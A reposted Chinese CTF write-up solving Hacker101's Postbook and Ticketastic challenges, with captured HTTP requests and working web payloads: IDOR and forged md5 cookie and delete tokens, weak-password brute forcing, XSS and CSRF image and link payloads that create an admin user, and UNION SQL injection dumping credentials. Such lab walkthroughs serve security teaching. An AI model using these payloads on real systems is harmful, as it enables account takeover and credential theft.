玩转Hacker101 CTF(三)

栏目: 编程工具 · 发布时间: 5年前

内容简介:hi,大家好,我又来啦,接着第一篇和第二篇的进度,这次为大家带来Hacker101 CTF的第七、八、九题:

玩转Hacker101 CTF(三)

hi,大家好,我又来啦,接着第一篇和第二篇的进度,这次为大家带来Hacker101 CTF的第七、八、九题:

玩转Hacker101 CTF(三)

废话不多说,上题!

第七题Postbook

这道题的难度定位为Easy,不是很难,但是Flag却有7个,涉及到多个漏洞,想要找全还是要费些功夫的。

打开主页:

玩转Hacker101 CTF(三)

看来是个类似留言板的web应用,要留言需要登陆,先用test:test注册个用户试试,

玩转Hacker101 CTF(三)

注册成功,回到登入界面,进入自己的主页:

玩转Hacker101 CTF(三)

这个页面有点多,我们需要细心观察,留意一下几点:

1.url地址为: http://xxxx/xxx/index.php?page=home.php ,这里可能有文件包含漏洞

2.上方导航栏的几个功能链接,需要一一测试

3.下方的 Create post 用于创建文本留言,注意 For my own eyes only 选项应该是控制创建的留言是否对所有人可见

4.下方出现了admin用户

5.最下方出现了user用户以及其公开的留言链接

我们先点击最下方的留言链接进去看看:

玩转Hacker101 CTF(三)

注意这里的url: http://xxxx/xxx/index.php?page=view.php?id=3

依照经验,这种自写的留言板系统往往会存在越权访问,所以刷新这个页面,用burpsuite抓下包,

GET /xxx/index.php?page=view.php&id=§2§ HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xx/index.php?page=view.php&id=3
Connection: close
Cookie: id=e4da3b7fbbce2345d7772b0674a318d5;
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

送到Intruder模块爆破一下id,将结果按Length排序:

玩转Hacker101 CTF(三)

注意几个长度与众不同的Response包,在其中找到两个flag:

玩转Hacker101 CTF(三)

玩转Hacker101 CTF(三)

为什么一下有两个flag呢,第一个id链接到了admin用户的私有留言上,考察越权访问,

玩转Hacker101 CTF(三)

另一个id比较大,应该是考察参数枚举吧!

这里我们既然可以访问到其他用户的留言,那么能不能编辑其他用户的留言呢?我们来尝试一下,首先点击导航栏的 Write a new post ,用当前用户创建一条留言:

玩转Hacker101 CTF(三)

点击 Create Post 创建留言:

玩转Hacker101 CTF(三)

点击 edit 链接,编辑:

玩转Hacker101 CTF(三)

注意这里的url: http://xxxx/xxx/index.php?page=edit.php?id=13

我们修改其中的id为刚刚爆破出flag的id,例如2,

http://xxxx/xxx/index.php?page=edit.php?id=2

玩转Hacker101 CTF(三)

看,本来属于admin用户的私人留言,现在我们也可以编辑了!

点击 Save post ,看,系统为了“奖励我们编辑了他人的留言”,给了我们一个flag:

玩转Hacker101 CTF(三)

接着试试能不能删除他人的留言呢?回到下面这个页面:

玩转Hacker101 CTF(三)

点击 delete 链接,注意将包抓下来:

GET /xxxx/index.php?page=delete.php&id=aab3238922bcc25a6f606eb525ffdc56 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xxx/index.php?page=view.php&success=1&id=14&message=
Connection: close
Cookie: id=e4da3b7fbbce2345d7772b0674a318d5
Upgrade-Insecure-Requests: 1

注意与访问留言和编辑留言不同的是,删除链接url中的id是一个32的字符串, aab3238922bcc25a6f606eb525ffdc56 ,猜想这是一个hash值,把它放到md5解密网站跑了一下:

玩转Hacker101 CTF(三)

是个数字,由于hash不能逆向解密,所以我猜想删除留言功能有着以下处理逻辑:

...
$result = $db->execute("select id from posts);
foreach($result['id'] as id){
    if($_GET['id'] === id){
        $db->execute("delete from posts where id=$_GET['id']);
    }
}
...

那么我们如果想要删除id=2的留言(这条留言不属于我们的当前用户),只需要修改刚刚抓下的包中的id值为 md5("2") ,即 c81e728d9d4c2f636f067f89cc14862c ,再次发包即可:

玩转Hacker101 CTF(三)

看,又拿到一个flag!

至此,我们通过伪造信息编辑、修改、删除其他用户的post已经拿到了3个flag,想想还有什么,对!还有伪造他人进行留言,我们抓下创建post的包:

POST /xxx/index.php?page=create.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xxx/index.php?page=create.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Connection: close
Cookie: id=e4da3b7fbbce2345d7772b0674a318d5
Upgrade-Insecure-Requests: 1

title=abc&body=abc&user_id=5

如果正常发包,会为 user_id=5 的用户添加一条留言,那么如果修改 user_id=1 呢,修改完毕后再次发包:

玩转Hacker101 CTF(三)

又出现了一个flag。

继续,现在我们已经能够完全伪造另一个用户的所有动作了,那么我们能否通过某种方式伪造成其他用户登陆呢?一般来说服务器识别用户的方式是通过cookie,获取其他用户cookie的方式主要有两种:一是通过xss漏洞接受其他用户的cookie;二是破解cookie的构造方式伪造其他用户的cookie,例如:假如普通用户test的Cookie为: Cookie :"user_name":"test" ,那么我们有理由相信,admin用户的Cookie应该为: Cookie :"user_name":"admin" ,当然实际情况不会那么简单,往往还涉及到许多的密码学知识。

回到这道题上来,看一下当前用户的Cookie:

Cookie: id=e4da3b7fbbce2345d7772b0674a318d5
e4da3b7fbbce2345d7772b0674a318d5 貌似又是一个hash值,解密一下:

玩转Hacker101 CTF(三)

结果是5,猜测是代表用户id为5,那么如果想要伪造用户id为1的cookie,只需改为md5(“1”),即 c4ca4238a0b923820dcc509a6f75849b ,我们修改一下火狐的cookie:

玩转Hacker101 CTF(三)

然后刷新一下页面,访问 http://xxxx/xxx/index.php
果然出现了flag。

好的,现在一共拿到了6个flag,第7个flag我想了很久,sql注入、XSS、源码泄露等套路都试过了,还是没有找到,无奈之下只好查看提示:

玩转Hacker101 CTF(三)

WTF!这也行,算我输!抓下登录包,

玩转Hacker101 CTF(三)

送到Intruder,用弱口令字典爆破,一会就出了结果:

玩转Hacker101 CTF(三)

用user:password登入,拿到最后的flag

玩转Hacker101 CTF(三)

第八题(Ticketastic: Demo Instance)&第九题(Ticketastic: Live Instance)

第八题和第九题其实是一题,第八题没有flag,是第九题的web应用的测试版本,它的存在是为了给第九题以提示,第九题才是真正的生产环境。我们先打开第八题来看一下:

玩转Hacker101 CTF(三)

从功能和内容上判断这是一个信息反馈系统,任何人都可以提交Ticket,但只有管理员才能登陆查看所有的Ticket,并且告知我们admin用户的密码是admin,我们提交一个Ticket试试:

玩转Hacker101 CTF(三)

玩转Hacker101 CTF(三)

回到主页,用给我们的admin账号登陆:

玩转Hacker101 CTF(三)

玩转Hacker101 CTF(三)

可以看到我们刚刚提交的tikcet已经出现这里了,同时注意到这里还有创建用户的链接。

点开test是我们提交的ticket内容:

玩转Hacker101 CTF(三)

在这个页面我们有两点内容值得我们注意:

1.url: http://xxxx/xxx/ticket?id=2 ,我们试试访问 http://xxxx/xxx/ticket?id=2-1 ,显示:

玩转Hacker101 CTF(三)

这与访问 http://xxxx/xxx/ticket?id=1 的返回页面结果是一样的,说明这里可能有 sql 注入。

2.很显然,我们提交的内容被保存在了数据库里,并且在admin用户的页面呈现了出来,如果我们将ticket的内容换成XSS或者CSRF的payload,会不会让admin用户中招呢?我们来试一试,回到主页,提交一个ticket,title和body都填 <img src=x onerror=alert(1)> ,登入admin用户,刚登入就弹出了框框:

玩转Hacker101 CTF(三)

Good!既然这里可以XSS,我们可以怎样利用呢?一种思路是架个服务器接收admin用户的cookie(如果抓个包,可以看到cookie并没有设置httponly),然而这里的靶场不能外联,所以我放弃了这条思路,还有其他办法吗?CSRF有什么可以利用的点吗?注意到上面的 Create a new user 链接,我们能否结合这个功能来创建我们的用户呢?我们首先用admin用户的面板创建用户test:test,抓下包:

玩转Hacker101 CTF(三)

GET /xxx/newUser?username=test&password=test&password2=test HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xxx/newUser
Connection: close
Cookie: session_level7a=eyJ1c2VyIjoiYWRtaW4ifQ.D-pwWw.xIfxmh00wlGwcQUBFWC92kk6gTM
Upgrade-Insecure-Requests: 1

记下url请求: http://xxxx/xxx/newUser?username=root&password=123456&password2=123456 ,回到主页再次提交一个ticket,这次title和body都填:

<img src=newUser?username=root&password=123456&password2=123456>

玩转Hacker101 CTF(三)

然后再次登入admin用户:

玩转Hacker101 CTF(三)

查看最下方那张无法正常显示的图片:

玩转Hacker101 CTF(三)

payload正常,应该奏效了,回到登入页面,用root:123456成功登入!

好吧,测试版本系统的漏洞分析的差不多了,来研究一下上线版本吧!打开第九题:

玩转Hacker101 CTF(三)

界面和功能几乎是一样的,依然可以提交ticket和登入查看ticket,不过这次admin的密码改了,我们无法登入触发CSRF了,考虑了一下这边可能有机器人访问ticket页面,所以依旧采用刚刚的payload,提交一个ticket,title和body依然填

<img src='newUser?username=root&password=123456&password2=123456'> ,提交,然后回到登入页面,用root:123456登入,满怀希望看见Flag,然而:

玩转Hacker101 CTF(三)

玩转Hacker101 CTF(三)

没关系,换个要点击的payload,也许这个机器人会主动点击呢?

<a href="http://localhost/newUser?username=root&password=123456&password2=123456">haha</a>
尝试登陆:

玩转Hacker101 CTF(三)

成功!真是个奇怪的机器人!点击 Flag Won't Work ,拿到第一个Flag,注意下面的才是真Flag!

玩转Hacker101 CTF(三)

接下来,别忘了这里还有个sql注入漏洞,不过很奇怪,sqlmap居然跑不出来(如果有那位童鞋跑出来了可以和我说下),所以只好手动注入,下面是过程:

http://xx.xx.xx.xx/xxx/ticket?id=1 order by 3 -- //判断为3列
http://xx.xx.xx.xx/xxx/ticker?id=10 union select id,username,password from users where username='admin' -- //表名和列名都是猜的。゚(゚´ω`゚)゚。很奇怪information_schema中居然查不到表名

结果显示,admin用户的密码就是第二个Flag:

玩转Hacker101 CTF(三)


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

How Tomcat Works

How Tomcat Works

Budi Kurniawan、Paul Deck / BrainySoftware / 2004-4-1 / USD 54.95

A Guide to Developing Your Own Java Servlet Container一起来看看 《How Tomcat Works》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码